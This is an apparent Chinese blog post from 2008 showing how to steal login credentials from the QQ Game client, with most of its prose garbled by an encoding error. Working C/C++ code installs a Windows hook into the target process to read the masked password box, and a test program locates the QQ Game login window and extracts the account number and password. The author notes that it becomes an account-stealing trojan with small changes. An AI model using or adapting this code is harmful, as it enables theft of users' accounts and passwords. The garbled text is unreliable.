閫氳繃HOOK鑾峰彇QQ娓告垙鐧诲綍瀵嗙爜
鍙戝竷: 2008-7-28 09:43 | 浣滆: 缃戠粶杞浇 | 鏉ユ簮: 缃戠粶杞浇 | 鏌ョ湅: 701娆
//by redice 2008.7.19
//redice@163.com
涓嶆槸浠涔堟柊椴滆揣浜嗭紝鍙槸鎯抽噸娓╀竴涓嬮挬瀛愬強 DLL鐨勭紪鍐...
鍏堝彂涓▼搴忚繍琛屾晥鏋滃浘锛

涓嶅緱涓嶅厛璇翠竴涓婣PI鍑芥暟SendMessage锛
浣跨敤SendMessage鍚戠紪杈戞绐楀彛鍙戦乄M_GETTEST娑堟伅锛屽彲浠ヨ交鏄撹幏鍙栧埌缂栬緫妗嗙殑鍐呭锛堝氨绠楄繖涓獥鍙d笉灞炰簬鍚屼竴杩涚▼锛夈
浣嗘槸鏈変竴涓壒渚嬶紝閭e氨鏄綋缂栬緫妗嗙獥鍙e叿鏈塃S_PASSWORD椋庢牸锛堝嵆瀵嗙爜杈撳叆妗嗭級涓斾笉杈撳叆鍚屼竴杩涚▼鏃讹紝浣跨敤涓婇潰鐨勬柟娉曞氨澶辨晥浜嗐
閫氫織鐨勮锛屽氨鏄綋浣犺浣跨敤SendMessage璇诲彇鐨勫瘑鐮佹涓嶅睘浜庡悓涓涓繘绋嬫椂锛屾槸璇诲彇涓嶅埌浠讳綍鍐呭鐨勩
杩欎篃璁告槸寰蒋浠庡畨鍏ㄨ搴﹁冭檻鍋氱殑鎵嬭剼鍚с
濡備綍瑙e喅杩欎釜闂锛
濡傛灉鎴戜滑鑳藉皢SendMessage鏀惧埌鐩爣杩涚▼涓墽琛岄棶棰樺氨瑙e喅浜嗐傚洜涓哄睘浜庡悓涓涓繘绋嬫椂浣跨敤SendMessage鏄彲浠ヨ鍙栧埌瀵嗙爜妗嗙殑鍐呭鐨勩
濡備綍灏哠endMessage鏀惧埌鐩爣杩涚▼涓墽琛屽憿锛熶娇鐢℉OOK(鎴栬呰繘绋嬫敞鍏)銆
鍏充簬閽╁瓙(HOOK)
閽╁瓙(Hook)锛屾槸Windows娑堟伅澶勭悊鏈哄埗鐨勪竴涓钩鍙帮紝搴旂敤绋嬪簭鍙互鍦ㄤ笂闈㈣缃瓙绋嬩互鐩戣鎸囧畾绐楀彛鐨勬煇绉嶆秷鎭紝鑰屼笖鎵鐩戣鐨勭獥鍙e彲浠ユ槸鍏朵粬杩涚▼鎵鍒涘缓鐨勩
褰撴秷鎭埌杈惧悗锛屽湪鐩爣绐楀彛澶勭悊鍑芥暟涔嬪墠澶勭悊瀹冦傞挬瀛愭満鍒跺厑璁稿簲鐢ㄧ▼搴忔埅鑾峰鐞唚indow娑堟伅鎴栫壒瀹氫簨浠躲
閽╁瓙瀹為檯涓婃槸涓涓鐞嗘秷鎭殑绋嬪簭娈碉紝閫氳繃绯荤粺璋冪敤锛屾妸瀹冩寕鍏ョ郴缁熴傛瘡褰撶壒瀹氱殑娑堟伅鍙戝嚭锛屽湪娌℃湁鍒拌揪鐩殑绐楀彛鍓嶏紝閽╁瓙绋嬪簭灏卞厛鎹曡幏璇ユ秷鎭紝浜﹀嵆閽╁瓙鍑芥暟鍏堝緱鍒版帶鍒舵潈銆
杩欐椂閽╁瓙鍑芥暟鍗冲彲浠ュ姞宸ュ鐞嗭紙鏀瑰彉锛夎娑堟伅锛屼篃鍙互涓嶄綔澶勭悊鑰岀户缁紶閫掕娑堟伅锛岃繕鍙互寮哄埗缁撴潫娑堟伅鐨勪紶閫掋
濡備綍瀹夎涓涓挬瀛愶紵
浣跨敤API鍑芥暟SetWindowsHookEx锛屽師鍨嬪強鍙傛暟璇存槑濡備笅
HHOOK SetWindowsHookEx(
int idHook, // 閽╁瓙鐨勭被鍨嬶紝鏈緥閲囩敤WH_CALLWNDPROC锛堢獥鍙h繃绋嬮挬瀛愶級
HOOKPROC lpfn, // 閽╁瓙鍑芥暟鍦板潃锛堝嵆閽╁瓙鍑芥暟鐨勫嚱鏁板悕锛
HINSTANCE hMod, // 閽╁瓙鍑芥暟鎵鍦ㄧ殑搴旂敤绋嬪簭瀹炰緥鍙ユ焺锛岋紙鏈緥涓篋LL鐨勫彞鏌勶級
DWORD dwThreadId // 鐩爣绾跨▼ID锛屽嵆閽╁瓙鐨勫涓荤嚎绋
);
娉ㄦ剰锛氬綋鏈鍚庝竴涓弬鏁颁负0鏃惰〃绀哄畨瑁呯殑鏄叏灞閽╁瓙锛屾鏃惰姹傞挬瀛愬嚱鏁板繀椤昏鍦―LL涓
MSDN涓婂叧浜庤繖涓嚱鏁扮殑璇存槑寰堣缁嗙殑銆
鍑嗗娲诲姩鍋氬畬浜嗐備笅闈㈡槸鏈▼搴忕殑瀹炵幇锛
(1) GetWindowTextRemote.DLL
璇LL瀵煎嚭浜嗕竴涓嚱鏁癎etWindowTextRemote锛屽叾瀹冨簲鐢ㄧ▼搴忛氳繃璋冪敤杩欎釜鍑芥暟灏辫兘瀹炵幇瀵瑰叾瀹冨簲鐢ㄧ▼搴忓瘑鐮佺紪杈戞鍐呭鐨勮鍙栥
//-------------------------------------------------------
// GetWindowTextRemote
// 鎻掑叆鏈珼LL鍒拌繙绋嬭繘绋
// 浠庤繙绋嬬紪杈戞鎺т欢涓幏鍙栧瘑鐮
//
// 杩斿洖鍊硷細璇诲彇鍒扮殑瀵嗙爜瀛楃鏁
//-------------------------------------------------------
__declspec(dllexport) int GetWindowTextRemote(HWND hWnd, LPSTR lpString)
{
g_hWnd = hWnd;
//缁欑洰鏍囪繘绋嬪畨瑁呬竴涓獥鍙h繃绋嬮挬瀛
g_hHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)HookProc,
hDll, GetWindowThreadProcessId(hWnd,NULL) );
if( g_hHook==NULL ) {
lpString[0] = '\0';
return 0;
}
//娉ㄥ唽涓涓秷鎭紝鐢ㄤ簬閫氱煡杩滅▼杩涚▼璇诲彇瀵嗙爜
if (WM_HOOKSPY == 0)
WM_HOOKSPY = RegisterWindowMessage( "WM_HOOKSPY_RK" );
// 鍚戣繙绋嬭繘绋嬪彂閫佽鍙栨秷鎭紝瑙﹀彂鍏惰鍙栧瘑鐮
SendMessage( hWnd,WM_HOOKSPY,0,0 );
strcpy( lpString,g_szPassword );
return strlen(lpString);
}
鍙︿竴涓噸瑕佺殑鍑芥暟灏辨槸閽╁瓙杩囩▼浜嗭細
//-------------------------------------------------------
// HookProc
// 鐢辫繙绋嬭繘绋嬫墽琛
//-------------------------------------------------------
#define pCW ((CWPSTRUCT*)lParam)
LRESULT HookProc (
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
//鎺ユ敹鍒拌鍙栧瘑鐮佹秷鎭
if( pCW->message == WM_HOOKSPY ) {
MessageBeep(MB_OK);
//璇诲彇瀵嗙爜缂栬緫妗嗙殑鍐呭
SendMessage( g_hWnd,WM_GETTEXT,128,(LPARAM)g_szPassword );
//鍗歌浇閽╁瓙
UnhookWindowsHookEx(g_hHook );
}
//灏嗘秷鎭鐞嗘潈杞缁欎笅涓涓挬瀛愬嚱鏁
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
娉ㄦ剰锛氬畨瑁匟ook鐨勮繘绋嬪姞杞紻LL锛屽埆鐨勮繘绋嬪湪杩愯鐨勮繃绋嬩腑锛岀敱绯荤粺鍦ㄨ杩涚▼绌洪棿娉ㄥ叆杩欎釜DLL銆傛墍璋撴敞鍏ュ氨鏄妸Hook DLL鐨勬墽琛屼唬鐮佹槧灏勫埌杩欎釜杩涚▼鐨勫唴瀛樼┖闂淬
铏界劧杩涚▼鏈夎嫢骞蹭釜锛屽彲鏄DLL鐨勬墽琛屼唬鐮佸彧鏈変竴浠姐
涓嶅悓鐨勮繘绋嬪叏灞Hook DLL鐨勬墽琛屼唬鐮佹槸鍏变韩鐨勶紝鍙槸鍏ㄥ眬鍙橀噺骞朵笉鍏变韩锛堣繖鏍峰彲浠ュ疄鐜版煇绉嶇▼搴︾殑闅旂锛屽浜庡杩涚郴缁熺殑绋冲畾鎬у拰瀹夊叏鎬ф槸寰堟湁蹇呰鐨勶級銆
浣嗘槸濡傛灉鍏ㄥ眬鍙橀噺涓嶅叡浜紝杩涚▼閫氫俊灏变細鍙楅檺锛屾瘮濡傛湰渚嬩腑锛屽湪鐩爣杩涚▼涓娇鐢⊿endMessage鑾峰彇鍒扮殑瀵嗙爜濡備綍浼犻掔粰瀹夎HOOK鐨勮繘绋嬪氨鏄竴涓棶棰橈紵
瑙e喅杩欎釜闂鐨勬柟娉曞氨鏄娇鐢ㄥ叡浜妭锛岄氳繃鍏变韩鑺傚彲浠ヤ娇鍏ㄩ儴鍙橀噺瀹炵幇鍏变韩銆傚涓嬫墍绀猴細
//-------------------------------------------------------
// 鍏变韩鏁版嵁鍖
// 鍏变韩鏁版嵁鍖轰腑鐨勬暟鎹湪DLL琚槧灏勭殑杩涚▼涓兘鏄叡浜殑
//-------------------------------------------------------
#pragma data_seg (".shared")
HWND g_hWnd = 0; //瑕佽鍙栫殑缂栬緫妗嗘帶浠跺彞鏌
HHOOK g_hHook = 0; //HOOK鍙ユ焺
UINT WM_HOOKSPY = 0; //鑷畾涔夋秷鎭紝閫氱煡杩滅▼杩涚▼璇诲彇缂栬緫妗嗘帶浠剁殑鍐呭
char g_szPassword [256] = { '\0' }; //淇濆瓨缂栬緫妗嗘帶浠剁殑缂撳瓨鍖
#pragma data_seg ()
浣跨敤鍏变韩鑺傛椂瑕佹坊鍔犲涓嬬殑閾炬帴閫夐」锛
#pragma comment(linker,"/SECTION:.shared,RWS")
鍒版锛孌LL鐨勫唴灏辩粨鏉熶簡銆
鍦ㄦ鐗瑰埆鎰熻阿codeproject鐨凴obert Kuster锛屽鏋滀笉鏄湅浜嗕粬鐨勩奣hree Ways to Inject Your Code into Another Process銆嬶紝涔熶笉浼氭湁鎴戠殑杩欑瘒鏃ュ織銆
瀹屾暣鐨勪唬鐮佸湪闄勪欢涓
(2)娴嬭瘯绋嬪簭-鑾峰彇QQ娓告垙鐧诲綍瀵嗙爜
鎺ヤ笅鏉ュ氨鏄垜浠殑娴嬭瘯绋嬪簭浜嗭紝杩欎釜娴嬭瘯绋嬪簭瀹炵幇鐨勫姛鑳藉氨鏄滆幏寰桻Q娓告垙鐧诲綍妗嗕腑鐨凲Q鍙峰拰瀵嗙爜鈥濓紝杩欐槸涓涓狹FC绋嬪簭锛屽叧閿唬鐮佸涓嬫墍绀猴細
鎴戜负浠涔堜笉鑾峰彇QQ鑱婂ぉ鐧诲綍绐楀彛涓婄殑瀵嗙爜鑰岃鑾峰彇QQ娓告垙鐧诲綍绐楀彛涓婄殑QQ瀵嗙爜鍛紵
杩欐槸鍥犱负QQ鑱婂ぉ鐧诲綍鏃讹紝QQ绋嬪簭鍋氫簡鐗规畩澶勭悊锛圢protect閿洏鍔犲瘑鎶鏈級锛屼娇鐢℉OOK涔熸槸璇诲彇涓嶅埌瀵嗙爜鐨勩備絾QQ娓告垙鐧诲綍鏃跺嵈娌℃湁杩欐牱鐨勪繚鎶ゃ
//鍏堣幏鍙朡Q娓告垙鐧诲綍绐楀彛鐨勫彞鏌勶紝鐒跺悗閬嶅巻瀛愮獥鍙o紝鏌ユ壘鍙风爜杈撳叆妗嗗拰瀵嗙爜杈撳叆妗
void CGetWindowTextRemoteTestDlg::OnGetremotetext()
{
HWND parenthwnd=0;
HWND childhwnd=0;
DWORD style=0;
char tempbuf[256]={0};
//鑾峰彇QQ娓告垙鐧诲綍绐楀彛鍙ユ焺
parenthwnd=::FindWindow(NULL,"QQ娓告垙");
if(parenthwnd)
{
//閬嶅巻瀛愮獥鍙o紝鏌ユ壘QQ鍙峰拰瀵嗙爜杈撳叆妗
childhwnd=::GetWindow(parenthwnd,GW_CHILD);
childhwnd=::GetWindow(childhwnd,GW_HWNDFIRST);
while(childhwnd)
{
memset(tempbuf,0,256);
::GetClassName(childhwnd,tempbuf,256);
style=::GetWindowLong(childhwnd,GWL_STYLE);
//鍙风爜杈撳叆妗
//杩滅▼杩涚▼鐨勯潪瀵嗙爜妗嗗唴瀹瑰彲浠ョ洿鎺ラ噰鐢⊿endMessage鍙戦乄M_GETTEXT鑾峰彇鍒
if(0x50010202==style)//鍙风爜杈撳叆妗嗙殑鏍峰紡鏄0x50010202锛岃繖鏄娇鐢⊿py++鏌ョ湅寰楃煡鐨勩
{
memset(tempbuf,0,256);
::SendMessage(childhwnd,WM_GETTEXT,256,(LPARAM)tempbuf);
this->SetDlgItemText(IDC_NUMBER,tempbuf);
}
//瀵嗙爜杈撳叆妗
//杩滅▼杩涚▼鐨勫瘑鐮佹鍐呭閲囩敤HOOK WH_CALLWNDPROC鑾峰彇
if(0x52010020==style)
{
Getremotetext(childhwnd,tempbuf);
this->SetDlgItemText(IDC_PASSWORD,tempbuf);
}
childhwnd=::GetWindow(childhwnd,GW_HWNDNEXT);
}
}
}
//鍔ㄦ佽皟鐢℅etWindowTextRemote.DLL涓殑GetWindowTextRemote鍑芥暟璇诲彇杩滅▼杩涚▼鐨勫瘑鐮佺紪杈戞鍐呭
int Getremotetext(HWND hwnd,LPSTR tempbuf)
{
typedef int ( *GetWindowTextRemote)(HWND hWnd, LPSTR lpString);
GetWindowTextRemote getwindowtextremote=NULL;
HINSTANCE hDll=0;
int ret=0;
hDll=::LoadLibrary("GetWindowTextRemote.dll");
getwindowtextremote=(GetWindowTextRemote)::GetProcAddress(hDll,"GetWindowTextRemote");
ret=getwindowtextremote(hwnd,tempbuf);
return ret;
}
ok锛屽埌杩欓噷鍏ㄩ儴缁撴潫浜嗐傝繖涓▼搴忓仛涓淇敼灏辨槸涓洍鍙锋湪椹傚啓杩欑瘒鏃ュ織浠呬綔浜ゆ祦锛屾湰浜轰笉鎵挎媴浠讳綍璐d换銆
闄勪欢锛
hookqq.rar(114 KB)



发表于 2009-1-5 19:48
| 











